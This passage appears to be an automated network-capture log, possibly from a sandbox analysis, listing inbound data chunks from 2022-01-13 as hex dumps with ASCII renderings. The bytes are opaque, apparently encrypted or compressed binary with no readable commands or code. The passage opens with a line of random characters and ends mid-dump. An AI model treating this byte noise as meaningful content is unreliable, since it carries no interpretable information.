]Ci9}Z(2E81x<)^?Vz_zf!g/JcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}!Yz<-TpH'6?50
2022-01-13 19:22:18 UTC	106	IN	Data Raw: 29 8d 74 f6 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc f5 ee e2 30 9d 23 17 1a fe 3b 4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 f7 23 e1 4b 57 9f 82 9f 6d 15 9e 18 12 5c 3c 91 e1 57 71 39 bf 86 be 19 c7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 0b bf 5a 26 42 37 af 02 4c 77 48 dd 0d 9e 29 fc 71 5b 21 f4 0a a1 e2 3e 0b 6a 5f ed 5b 62 93 ab 0e 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de 99 ad a9 f9 89 c7 af 37 a8 0d 6c b6 83 01 cb 87 e9 60 7d a1 e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4 57 70 c7 2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3c 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a 0c 9f d0 8a c1 2e f4 02 ad 0f 72 af ca 95 fb 04 c2 ce ec Data Ascii: )tHHsx^ &'qc0#;J. 0P<$is(^#KWm\<Wq9}?B">6pRJIZ&B7LwH)q[!>j_[b<>pE9@E/7l`}koCD OWp,StiP<Q(Z6\|<4z.r
2022-01-13 19:22:18 UTC	108	IN	Data Raw: b9 29 c9 76 f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01 54 73 b9 b6 36 0c 51 20 f4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 d0 f1 26 ee 0f 43 a2 0f c1 16 44 42 31 f2 3c 3c 35 0f 6f 90 69 1b e0 e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc e1 b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08 ac 0d 55 66 88 35 c8 fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2 cb cb 0f b9 2c 4f 59 23 ff a3 c7 7b 75 8c 5e e0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d e9 78 dd 40 3b f2 5c e3 ea 23 ee b9 f7 09 31 fb 7f 27 4c be cb 73 55 11 a0 0a 08 25 f8 43 53 9f e3 b4 74 ba 7f ec f2 31 db 07 79 27 f7 b3 3d b2 3b 05 eb 3d d7 ae b6 ea db 13 c0 af d0 9e 1c 33 3f a7 95 Data Ascii: )v30pIN^[w#CVTs6Q F4Z&CDB1<<5oiT[w%[rr`v3$Uf5iJAyG>8!VXR,OY#{u^!$@HC/x@;\#1'LsU%CSt1y'=;=3?
2022-01-13 19:22:18 UTC	109	IN	Data Raw: 60 87 76 14 f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 0b cb 0f ba de a2 02 a4 0c af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b 0e e7 b1 f0 b8 37 a0 75 51 50 9c c6 c0 c7 8e ac 4a 63 b3 e1 0a a8 00 4b 97 8d 59 be d6 9b f0 d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa 52 bc 60 14 e0 0a 09 43 ac 28 0e 27 82 38 27 3a 15 c5 5c 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de e9 51 fd 94 6e 3c 60 e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a c6 bb 57 c7 65 1c 7e 5c 3d cc a7 c9 f1 01 72 76 05 c3 08 a5 87 d4 bb f6 36 5a ea 00 0c 64 89 cb 7e db a6 f0 b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0f d6 86 f0 24 3c 30 1f f9 3f 7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58 Data Ascii: `vAH9%A`J)1d<(Bej0qFNOC7ym[7uQPJcKYfNHrWR`C('8':\<E$MXIAQn<`@8L;^>&zWe~\=rv6Zd~4uW@24e~s$<0?~F-D6xX
2022-01-13 19:22:18 UTC	110	IN	Data Raw: 24 16 38 3d 4a ae 30 0e fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db 68 97 f2 24 6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 0b b5 c7 78 c2 c6 dd 17 7b 35 3e 8c 42 43 2e 67 26 0e e1 fe 4c 84 c7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 0e 90 62 94 64 8c 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7c 95 51 03 04 1e 3a 0a 15 9a 45 e5 6e bd 52 92 5a f7 c6 31 4d 30 a1 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03 34 b3 52 cf 1e 33 ee d5 0a ac 9a 55 6c 97 4c 18 38 c3 0c 40 56 5c 61 60 f4 44 ac ad de 78 e8 d3 0b 30 33 89 dd 0a 5f f9 bd c9 1c 85 03 35 93 fe ee 22 4a d2 e3 10 0a 4e 76 c5 24 2f 8c 3c 60 e7 b9 f5 dc f6 e0 75 0a b8 22 77 48 a3 e9 be 78 a3 f6 34 7e d2 52 91 ec 77 92 67 05 de 30 1d e9 36 27 Data Ascii: $8=J0MuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]0bdG_czLB\|Q:EnRZ1M0M3y/IZGP}?.f4R3UlL8@V\a`Dx03_5"JNv$/<`u"wHx4~Rwg06'
2022-01-13 19:22:18 UTC	112	IN	Data Raw: 2c 49 53 e7 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df 0e 5a 43 09 18 5e f1 33 f7 62 27 a8 0a b3 a1 f2 2e 16 fc 70 be c1 c5 c0 fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c5 17 88 1b 07 66 16 fd 36 39 ae 3d be d8 b3 93 ec ba 66 1e 53 40 39 a9 7d e1 aa 49 29 54 ee a3 81 ce e3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9 48 e9 38 26 05 e3 d8 3a e6 dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f e9 33 39 1a 6f 15 da 99 88 5e 27 f2 44 27 14 9e 6b f5 7f d3 73 5b e3 b2 2e 0b c3 55 09 9c bf 77 2d 87 c2 bc d0 5d 6d 08 bb e5 86 bc f7 df 0b c5 b5 6f 15 aa 21 62 8f e6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 0a 84 45 48 57 95 9f da 8a d5 77 22 72 4b 8e 01 29 5e 87 70 12 6e 8c 55 61 23 86 59 39 ae 35 94 Data Ascii: ,IS6*Bk"6@1ZC^3b'.py>P&d!Pf69=fS@9}I)TG~_MXH8&:t_v!.k39o^'D'ks[.Uw-]mo!bsVyAWEHWw"rK)^pnUa#Y95
2022-01-13 19:22:18 UTC	113	IN	Data Raw: 22 96 67 ab 47 50 db 0c 57 c7 71 20 71 21 b2 44 5f 9a e9 48 c4 da 9c 6c 35 3f a7 83 da 97 86 47 4e d1 75 30 fd 1c 19 91 bc 9b 08 14 18 57 38 3d e4 99 8c ed 4c cc be fe 58 f0 57 a4 08 c7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9 de e9 80 3d 09 8f ee d1 0e 56 da c0 9f 4e d2 f7 d6 9f c7 c7 45 0f 13 70 d1 b8 61 86 25 3d 9a 08 1b e5 97 e4 e5 3a 31 9b 91 a7 2f 37 4f 84 1d f0 c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 0f c4 d4 9f 51 e0 93 f7 d7 17 da 13 3b b2 a3 73 2b 12 a6 13 07 d4 22 cd 7d 2f 82 0e eb a3 3c 2f 8d f2 59 5a ff c3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08 c6 cf ed b5 b1 ba 67 b2 56 bc c2 40 c5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5c 59 c4 77 30 0c 47 3f fa 4b 24 6e f3 f5 c5 5c 03 f4 10 f9 0a e7 26 29 2f Data Ascii: "gGPWq q!D_Hl5?GNu0W8=LXW({<aW"=VNEpa%=:1/7OF8"}`AKG6Q;s+"}/</YZIvVu=gV@@Icb&=Q-K@~\Yw0G?K$n\&)/
2022-01-13 19:22:18 UTC	117	IN	Data Raw: 0e 0a 68 a6 00 4e b9 d9 99 ef d9 f9 d2 30 10 52 bb 64 85 d2 54 6a d0 91 20 89 c6 0e 22 ff 0d ae 88 01 50 a5 56 3e 59 58 f5 95 3a ae 4c 42 dc d8 44 dd f8 17 2f 79 42 d6 4d 5c 6e 5b 65 24 c3 79 d2 39 3d 76 b6 30 d6 33 7e 3b 52 2e 12 0a f6 65 a3 53 ce 2c 0a e2 cc 49 33 75 88 1f a5 19 74 6e d0 73 75 0a fa 0a da 95 5c b2 ea 30 2c fe 8c 89 b5 d5 c6 bc 76 6c 6e d8 b5 c2 7e 5c ba fc ca 23 21 12 b2 f4 75 8f f6 fc 6c 3c 89 37 04 17 98 aa 27 b2 24 b6 6a de b7 8d e2 79 5b a2 aa ed 88 84 a3 a5 58 f7 65 13 b3 a7 95 6e 76 19 95 ff 0f f1 79 3a e8 d8 c0 70 47 2e 85 b2 6a 77 37 18 48 59 09 ea 07 30 6f 3f 96 4a 8f e9 0d 8f f5 3d 32 a1 5b 83 91 9e 6a aa 6e 88 52 33 79 aa 35 32 85 06 ee c7 d3 31 f5 05 8d f9 ff 35 59 b9 22 73 4b 09 47 33 ec 53 31 fd 5a 8e a5 02 48 d8 1b eb a2 Data Ascii: hN0RdTj "PV>YX:LBD/yBM\n[e$y9=v03~;R.eS,I3utnsu\0,vln~\#!ul<7'$jy[Xenvy:pG.jw7HY0o?J=2[jnR3y5215Y"sKG3S1ZH
2022-01-13 19:22:18 UTC	121	IN	Data Raw: ed 48 55 ff ce ec bf 5a 82 33 9c 0b 03 3f a6 b5 59 63 6a 30 be cb 7c b3 bc b0 58 e3 d5 69 1d fd 65 c2 2a b5 7b 92 dc 9d cf 1c c9 ba 85 be a8 69 19 60 36 03 27 51 87 a4 c2 d2 f7 d6 9f c9 fd e1 5b bf fc 92 2e 66 26 fc 3b a4 5b 11 b0 5b 6a d2 2a 02 ad 15 0f a9 11 02 fc c7 4a 9b 3a 72 39 54 27 8b 78 b1 5f 65 60 e3 1e 69 70 5e 3e 79 3d aa 2a 1e 12 e1 8c 54 e6 a9 95 97 20 89 c1 4b 46 dc 90 34 b1 06 bd 5b 66 94 69 13 f3 d3 67 a6 58 97 be ba 67 a2 13 dd 1a 75 56 8d e2 de 53 57 69 f0 03 31 f6 e4 3a 25 e9 29 92 09 58 fe d4 ea b2 35 77 ef b7 50 02 3d 43 b9 01 5a 40 fc 10 2b fe 26 69 0a 67 0a b0 95 33 f3 12 41 ab a0 0a e2 31 a9 cd b0 c4 18 19 ae c7 97 91 f3 98 11 ac 51 4f 65 c3 52 d8 6b dd 61 ff 1a 3d 39 90 2b 56 cd d3 7c 17 b2 aa 21 40 3b d8 15 6f 79 50 b6 6f d7 ef Data Ascii: HUZ3?Ycj0\|Xie{i`6'Q[.f&;[[jJ:r9T'x_e`ip^>y=*T KF4[figXguVSWi1:%)X5wP=CZ@+&ig3A1QOeRka=9+V\|!@;oyPo
2022-01-13 19:22:18 UTC	122	IN	Data Raw: 7f bc 26 a0 6d e9 26 2a 84 d1 ce ec a4 19 d5 01 3e 16 72 a2 0d 54 0b d3 6b 69 b8 a4 19 dc 92 79 56 93 ff ee 6c 9f 88 ef f1 40 8f ca ab f0 5c ae 43 f1 78 cd 2c 1a cf c9 7f c3 43 ab d2 ab a1 fd b7 a3 88 f9 ce 40 eb 4e 33 92 26 9a e9 91 93 45 a6 6b 79 98 ea 3d ab a5 8f 95 69 b1 c8 e3 04 bd 29 62 22 96 76 b1 ae 43 08 7c c5 39 f4 59 99 e6 a8 09 cb a4 78 5f b5 e7 48 ae 6c 92 20 b9 5d 69 ad 62 fd 2b 8a e8 29 9f 86 5a f5 da e4 11 76 a1 84 42 90 bd 0d 84 13 71 1e 3b 67 55 38 ff c2 c7 73 29 ce 63 25 bf 91 b6 64 73 e9 7a 1f c6 87 1a 25 db a5 cf 08 18 42 8e 79 11 cf 68 96 1b a4 45 3d 76 b2 f3 c6 0d 1b fd df f5 46 a7 6a a2 40 c2 b1 13 be 13 7a a2 76 3b 71 4c bb 48 c0 18 e5 e2 ee b4 d7 15 08 00 72 de 93 09 37 eb d0 04 6c 95 51 90 7f da 06 88 ec 73 4e 16 b6 24 c9 7d 6d Data Ascii: &m&*>rTkiyVl@\Cx,C@N3&Eky=i)b"vC\|9Yx_Hl ]ib+)ZvBq;gU8s)c%dsz%ByhE=vFj@zv;qLHr7lQsN$}m
2022-01-13 19:22:18 UTC	126	IN	Data Raw: 15 8b a7 fc 44 6c 8f fa 5c 19 07 d8 2b 62 ba bf fb 1e 79 4d 54 d6 56 f9 c2 7c 96 c6 01 51 be f6 39 1c a7 8b c5 50 4a ae fe f3 27 9b 84 31 83 3f 7f ce fe ee 73 4d 1d a5 4e da 96 6b 16 1f 79 11 90 a2 1e db fd a8 a2 91 6a 0b 33 4b c8 16 9c 63 a8 11 7d 3a 71 4e 47 04 cd 0b 31 48 83 99 ec e7 55 f1 d3 b7 df 78 73 ce ea da fa 3e 50 1a df 1b 55 d6 f3 cc 2b 6c ba 98 6b 55 64 53 e3 34 51 44 69 14 9f 30 23 ac 2d dc 8b 12 f3 f5 89 d8 cb 6c 48 25 d3 84 56 b4 2d 41 5b 53 16 56 a6 12 0a 2e e1 11 64 60 2f 3b 11 11 5e 40 e2 3b 4c 07 a7 27 29 16 ee 76 34 f2 89 46 21 cd 26 d8 6b 3a 85 26 5f 71 e8 0a af a0 86 8a 1c 70 f6 3d 31 f8 d3 06 d9 ce 1d 43 b1 16 ba 6e 0f 22 d6 14 b9 d9 98 96 df bf a1 16 fd 66 25 6d f6 8a 1d 4c 69 d4 50 6d c4 d8 03 8a 4b 49 ec ea c4 9f 8c 17 d1 d4 42 Data Ascii: Dl\+byMTV\|Q9PJ'1?sMNkyj3Kc}:qNG1HUxs>PU+lkUdS4QDi0#-lH%V-A[SV.d`/;^@;L')v4F!&k:&_qp=1Cn"f%mLiPmKIB
2022-01-13 19:22:18 UTC	131	IN	Data Raw: a1 2f 2e 06 a0 01 3e 4e 8f 76 3e 3f a3 90 74 ad e3 8b db 1c 36 02 a7 86 50 71 82 23 e1 06 b2 63 07 5b ae c6 bf 4d 54 e8 b1 ad 16 cd 74 b0 7d d8 2c 69 c7 25 f0 dd c5 e7 f8 5e e2 77 ba c1 4b d1 ce 3d e6 d9 68 88 7d f7 d1 6a ca e7 7f c9 c5 c9 60 ee a7 9a 17 90 78 dd 8b c7 7c 24 ed 30 1c 73 27 8f 04 03 44 39 b6 2a 6c 8f 10 9c 0c 4c 77 89 b3 b7 b1 a1 36 db b7 d6 8b 66 14 5e f7 9b e7 bc a4 d8 53 e8 b2 53 54 fc 5b 36 72 39 4f 27 fe 4b 5b 1e 76 fb 03 20 6e 06 21 8f ee a2 13 a1 2a 45 2e 74 bd fb 4e df 19 6d c1 25 65 02 03 f1 46 7e 59 7d 2d 89 5e 24 37 07 2e 02 b5 df b3 5d 16 48 da 99 6f aa 50 d3 74 bc 61 9b 9b ff dd 04 fb 44 8b ad aa 28 0e e0 71 51 49 49 49 da 33 fb db 02 b0 53 8b 3c 5f 68 9e 09 20 6b be 5a e8 a6 bb fa 2e 68 28 9d e6 a9 8b c8 89 8c 42 f6 4e d9 1d Data Ascii: /.>Nv>?t6Pq#c[MTt},i%^wK=h}j`x\|$0s'D9lLw6f^SST[6r9O'K[v n!E.tNm%eF~Y}-^$7.]HoPtaD(qQIII3S<_h kZ.h(BN
2022-01-13 19:22:18 UTC	135	IN	Data Raw: e6 65 6c fc 43 2d 3e 34 08 1d c3 b9 8d 04 5e da e4 14 77 25 f5 dd 83 7e cd 3e c1 3e 37 5a 69 01 28 7b 7d 2f c6 d6 eb 49 4b 68 06 b7 b5 fd 37 3c b8 d8 8e 77 32 4c da f0 11 76 c8 24 9e e9 20 61 6d 07 26 a4 b3 ab a6 b1 2f 2c 17 d7 11 9a 76 cd 6e 7a 1e 6c 99 1a 88 e5 3e 22 63 6f 7b 24 94 86 5c ed ad 81 79 ea 22 96 5c 93 5b c4 db 0d d9 59 95 57 26 c0 95 fc 1b e3 69 68 84 aa ad bb 59 27 31 b5 8a 2b cb 66 c4 db 66 e9 8e de e6 bf 11 4d 5b 72 e9 e3 fa b7 9f db 05 67 13 b3 d1 dc 36 63 03 6d e7 20 75 c8 3b 46 7a 5a ec 1c 96 fe 16 b6 8d 05 29 8e 3d 18 e1 ad d1 6b 4d d3 d4 43 d1 6f 46 3b 47 fb a7 95 aa df f4 f2 2e 09 70 59 84 ab c5 55 24 03 9b 4a a4 09 66 e4 1c de f5 c0 9a 07 98 aa 7d 4f 14 09 f3 c0 d4 e5 2e 4c 45 67 53 9d cd 29 08 63 43 2b a2 43 73 28 e9 be 73 f7 95 Data Ascii: elC->4^w%~>>7Zi({}/IKh7<w2Lv$ am&/,vnzl>"co{$\y"\[YW&ihY'1+ffM[rg6cm u;FzZ)=kMCoF;G.pYU$Jf}O.LEgS)cC+Cs(s
2022-01-13 19:22:18 UTC	139	IN	Data Raw: 27 14 57 6f b6 de 07 4e 90 71 1f 7e b0 23 ab ba eb da 98 6b b6 37 4c 17 a1 92 7d 24 30 b1 d0 fd 9c 06 13 3a e9 4c a9 9a d1 d1 72 a3 72 62 e7 c9 ad fd ab 0f 2e 73 b0 77 3b d9 71 41 bb 58 fd d7 02 ce eb ae 97 fc 5f ca 27 95 ef f5 54 56 94 c4 92 0a 01 f9 fd c6 8a dc 8a 55 f5 5c f7 c7 7d 25 6d 77 39 dd c8 86 e9 62 38 14 14 34 09 f3 c1 46 db 16 10 34 d4 9b f1 37 a4 56 76 de 22 9d 68 4b 08 8f 41 af ad a6 be 73 34 89 8a 3f 25 1a 65 6e 97 fa 2d d6 e4 a6 7c 00 ba c2 72 3a 3f da 98 66 27 21 da 9c 58 f1 96 9b d5 02 3e 3d 4d 3b be 2e b1 b5 b2 a4 a2 7d 69 18 16 34 70 43 78 bc a6 b2 fa 31 ff d6 99 f1 e7 46 da 8c bd 8c a0 54 ae fc 5f 77 31 8e 30 bc ef 6f d0 5a f3 72 c4 61 88 71 55 c4 de 21 f7 97 8b c6 da ee 44 34 4c d7 01 2f 8f 4c 76 3b b3 aa 2d 02 70 ce 91 79 7d 39 08 Data Ascii: 'WoNq~#k7L}$0:Lrrb.sw;qAX_'TVU\}%mw9b84F47Vv"hKAs4?%en-\|r:?f'!X>=M;.}i4pCx1FT_w10oZraqU!D4L/Lv;-py}9
2022-01-13 19:22:18 UTC	143	IN	Data Raw: 99 43 a5 63 5e 04 bc 67 d3 1f 54 65 02 aa 2e 50 37 27 99 40 4e d5 7f c2 b4 49 ec e9 41 73 24 76 b3 ac f6 53 43 af ab 7b 33 95 e9 29 29 38 20 a1 39 ac 29 91 f5 da 53 c9 61 15 cc 22 c6 d3 2b 95 f8 52 4b 20 7a 55 79 7f b5 76 34 07 4b 4d 55 de 93 f5 cf 91 e5 5b 3e 79 dd 07 52 92 32 f7 c9 10 17 91 0a b2 44 75 70 4f 51 3c 77 66 35 97 94 22 23 47 58 80 00 f6 a2 12 27 b2 2d 42 a8 10 38 39 b9 27 4c c2 b4 7a 08 0c 53 20 21 13 30 0d b0 71 3b 35 f8 41 ac 90 d2 f9 aa 7b 23 6f aa 2b 91 1b 55 6a e0 dd 05 a4 92 71 23 7d df 18 32 53 21 37 44 2b 9b e3 11 c2 d7 62 3d a7 9d d6 f4 de 63 04 6b af b8 c3 4a cb 6a 5e 45 47 34 14 48 b5 29 64 8f 35 3f bb 37 a5 3e df 6b 57 28 a4 a9 ad c3 fd 55 5c 67 fb d9 9c 8b b8 4c 94 77 0a da 89 d1 cf bc b5 0e 83 ae c2 24 6f 0c 4c 26 b2 d2 82 78 Data Ascii: Cc^gTe.P7'@NIAs$vSC{3))8 9)Sa"+RK zUyv4KMU[>yR2DupOQ<wf5"#GX'-B89'LzS !0q;5A{#o+Ujq#}2S!7D+b=ckJj^EG4H)d5?7>kW(U\gLw$oL&x
2022-01-13 19:22:18 UTC	147	IN	Data Raw: ff 6c f5 97 fc 33 f9 df 31 c7 73 3e 85 ce ee 55 b1 c6 32 12 52 8c 0f 8b 75 0d 9a a2 ba 0f 89 2d 18 1f 8e cf 16 c1 b4 5c 65 8f 93 79 87 c8 e4 05 59 73 5e 96 23 e8 c6 bc d4 24 3f b0 3c cf 7b 34 f1 e5 4e 7b 21 f1 66 d8 d9 9d be 8e ae cc 31 dd 98 d4 bb 3d 3c 38 b3 36 77 33 71 49 dc f0 bb fc 25 b7 bd 24 12 5d 81 8f e6 bf 5c fd 77 ef 42 24 73 60 b4 61 ed 0e 1c a7 73 0a e4 24 ef 61 11 2d ec 24 92 12 e2 12 3d 0c f2 4b 4e 7a da 97 9c 67 56 ec d7 69 15 34 5b 72 a4 f0 a5 8f 5c 28 7c 0c 48 dc ca a4 44 ae 08 e9 f6 e7 0f 80 b5 15 88 38 85 cb f9 2a 6e 3e b8 4d f8 26 0e 40 ad b8 33 2f ee fc 51 3d d6 97 87 9d 81 c4 6b 0c 5e 11 13 b2 d3 7d 29 d2 a5 d1 db 2d ca 28 e4 ab e1 1d 5e f2 15 b9 d5 9e 74 42 34 0c 03 7f 8c fe 60 bc 03 c2 c6 94 1f 48 25 98 88 5b 70 e2 c4 85 5c df 5a Data Ascii: l31s>U2Ru-\eyYs^#$?<{4N{!f1=<86w3qI%$]\wB$s`as$a-$=KNzgVi4[r\(\|HD8*n>M&@3/Q=k^})-(^tB4`H%[p\Z
2022-01-13 19:22:18 UTC	151	IN	Data Raw: 53 f3 46 3c 1a 15 bf 4b 82 d1 f1 67 80 c0 a6 5b 07 6e 49 26 15 b9 e9 0e 12 98 de 21 47 f2 1b aa f6 b2 52 12 aa 88 b3 35 a2 a6 c2 3a 15 61 a6 1a a1 0e c7 7c 4c 88 30 02 d2 c2 bc ae f9 a8 a8 d3 97 39 63 49 07 cf ec 13 4a b6 f0 f6 fb b8 6e fe 22 86 6c 04 c8 75 61 cb 37 a5 3d 49 98 45 62 c6 aa 7f 28 70 d6 e7 66 f5 15 ec 40 a6 ef 9e ed 71 b2 bd 71 d7 b8 3e aa 1b 6e 7a cc 5a 02 f8 03 e7 68 cf 4a 81 0f fd b9 2c fe 19 68 15 b6 26 b6 68 41 80 a2 33 76 be 64 df c4 44 03 b7 65 88 45 79 9e 46 46 a9 c5 29 d4 08 5c 31 03 06 ba 32 87 56 c6 cb 24 82 83 b2 75 8b aa 8f 00 f7 f2 2a 79 77 b1 6c 3d cb f6 ab d2 5e c9 b1 77 55 14 5d 76 08 77 87 e4 77 46 da ce f7 21 a9 b1 70 6d 74 f4 3d 48 ee 5b bd 81 f5 74 a4 54 05 90 89 40 eb 51 47 48 e0 5e cf 76 90 9e a4 74 e5 64 8d 28 93 b2 Data Ascii: SF<Kg[nI&!GR5:a\|L09cIJn"lua7=IEb(pf@qq>nzZhJ,h&hA3vdDeEyFF)\12V$u*ywl=^wU]vwwF!pmt=H[tT@QGH^vtd(
2022-01-13 19:22:18 UTC	154	IN	Data Raw: b7 90 63 05 7b 42 65 85 b6 94 37 31 8a 25 6e 87 16 15 35 0c 81 1e 06 db c0 9e a4 c8 74 c0 e7 da db 36 42 02 4e 33 b3 e1 b7 c7 84 b6 58 f9 84 44 da 19 1b 43 de 6d 64 a7 37 50 37 2a 67 be d1 15 8f 2d 4d 0e 41 8b 82 0c 1c 30 38 84 a2 66 32 43 1c 13 cf db e8 49 31 06 12 8e c1 29 84 96 89 e5 4d 7b 38 c7 67 c6 ae 21 98 1c 16 aa 08 0c 72 0c f2 b2 b4 8e 0a e6 af 00 95 88 39 28 e7 1d b0 8e 6a 2a be d7 09 f2 85 58 78 9b ec 13 cb 27 95 fd 5e 86 3d f2 eb b7 34 7d 1d b1 b7 1c 18 7f 63 5a 20 f8 36 26 4e 7b 88 c5 1b 51 a6 d6 c7 fa 44 20 b2 54 8e c8 d7 7c ec 08 45 23 af a3 0c 6b c6 40 df 30 b1 1a 64 1f ff fa 37 08 0a 70 c9 ac b2 60 97 2d 9e 6f a6 0a 9e dd 3a af 6c f2 af 55 92 f9 9f 44 09 af bc aa e6 80 ef 6d c0 89 1a e1 f8 04 06 e2 11 49 84 71 97 d2 fe 8e 28 22 b8 6b fa Data Ascii: c{Be71%n5t6BN3XDCmd7P7g-MA08f2CI1)M{8g!r9(jXx'^=4}cZ 6&N{QD T\|E#k@0d7p`-o:lUDmIq("k
2022-01-13 19:22:18 UTC	158	IN	Data Raw: ec d0 2e 0d c4 4b 37 e6 57 92 f9 15 8f f7 8f f8 31 3d 12 b0 75 30 00 62 88 5b 37 c2 f7 2e 99 b3 ae bd a7 1c c8 e2 c6 dc f4 04 a0 35 47 4f 5a 47 27 ab dc 13 01 53 0f d8 d1 76 c6 83 63 e7 d4 ef 0b 07 3c 38 ca 2f eb a7 75 d2 a7 4c cc f8 4e d4 b3 f3 1f 15 09 64 df da 0a 76 89 8e 92 56 99 85 2e 08 02 b9 aa 5f d7 4b 35 6d 17 87 d9 fd 1e 33 3d 80 18 8c 22 24 2f 7d 90 8e a6 44 33 e5 f8 aa e1 1b e5 d1 c9 7f dd 8c e5 f0 fc 26 05 2e 75 95 fe 52 43 dc 4c af 36 e2 e2 da 96 1d 12 4e c9 f0 92 89 19 ac c9 46 bc 73 92 67 02 a9 dd 0d 8c 5d 68 e1 02 5e 05 22 71 83 d0 4f 88 35 78 ad c3 bf b1 af b2 34 82 a0 6c 33 ec d7 6d 86 b4 54 8e 05 29 c1 f6 47 59 3c 24 8a cf 44 64 8f b7 bf 31 c1 f4 e6 71 20 6e 87 d5 f4 87 d9 18 10 b1 d9 f7 fb 9a 67 98 c6 09 22 7c a3 3d 18 90 7a a8 0e 10 Data Ascii: .K7W1=u0b[7.5GOZG'Svc<8/uLNdvV._K5m3="$/}D3&.uRCL6NFsg]h^"qO5x4l3mT)GY<$Dd1q ng"\|=z
2022-01-13 19:22:18 UTC	163	IN	Data Raw: cb 73 3e 6f 13 7e 06 af 0f a5 ec 2a ee 56 f7 c9 65 fd 3a 20 28 b1 23 12 46 68 65 67 17 6e 87 c0 98 6b e1 16 43 d8 2d 31 88 f7 7e c1 1b ff ae 22 8b 25 fe 43 2c b8 3d 3a 4f 3d ee 18 0a b6 bb 4e d8 e9 69 15 bf db e1 71 24 02 28 18 54 75 c3 2a 17 36 6a 8a 48 ac c5 e9 48 81 bd 54 48 45 5a e1 8d 9a 1d 4d b1 a6 1a 03 24 36 61 0d d7 1c 02 c8 e1 f2 b3 be d4 55 da ef 90 84 40 98 db 69 0e 2e 0b c5 cf 93 9f 3d 79 89 b6 40 31 b6 35 8a 59 6c 97 96 69 0d 50 29 ea d0 a1 ef 25 a6 ee b4 27 67 64 87 43 04 d5 d8 74 a3 df 64 f6 55 7c c5 50 11 b5 af 45 c6 de 80 d0 04 d7 a7 2e 6a 3f 2d e9 2c 6a 95 fd bd 2a 12 d9 0f dd 07 87 0d 38 49 52 1e 00 b9 43 2c ef 59 13 af b6 86 20 7d 2f 7c 6c f5 a5 96 b1 c1 53 56 4b 2a 77 47 2c 18 b1 c6 ca f6 f6 96 19 c9 f1 5e e5 3e a6 24 dd 5f 0b 54 12 Data Ascii: s>o~Ve: (#FhegnkC-1~"%C,=:O=Niq$(Tu6jHHTHEZM$6aU@i.=y@15YliP)%'gdCtdU\|PE.j?-,j8IRC,Y }/\|lSVKwG,^>$_T
2022-01-13 19:22:18 UTC	167	IN	Data Raw: 5c ae 8e 88 70 de 3f a8 f6 46 a2 ae 92 11 5d 1a 14 2e a5 2b 97 88 28 a3 47 19 b9 45 4a a9 ed e2 7b 32 f3 84 0a f0 73 9a 6f 50 8b 90 3d 7a 01 3d 1d a8 4e 9b b3 70 14 49 a6 19 dd 6a 85 cd 71 85 3d 1e ae 44 d0 fe 10 2f 01 c6 bc 64 3e 4a 58 9e 62 ef af 11 be b5 2d 30 6d 7d 52 b9 4f 6e c3 f7 f5 81 04 39 7a e0 3f 92 32 c4 f6 7d d4 d1 35 52 96 80 10 25 4f 29 1a 63 b0 2a 60 6a 77 5e 55 06 c7 0e e1 ae 37 c7 18 cf ae 6e f3 cc ec db 71 f8 fb cc 5c ad fb 9b 32 ac 35 da c9 2e 51 8f 09 35 7a f8 1b b7 63 ef 38 77 63 43 56 23 48 d3 60 e9 0b c3 51 55 c4 2b 65 db 72 43 a8 59 eb 9d 38 af 3e d3 f9 66 ee c9 1c 86 ed 44 4f fd 28 64 ea 4e b7 cc 95 54 0f ab c6 79 d5 10 3b d9 74 a3 be 89 73 11 8e a0 8b 11 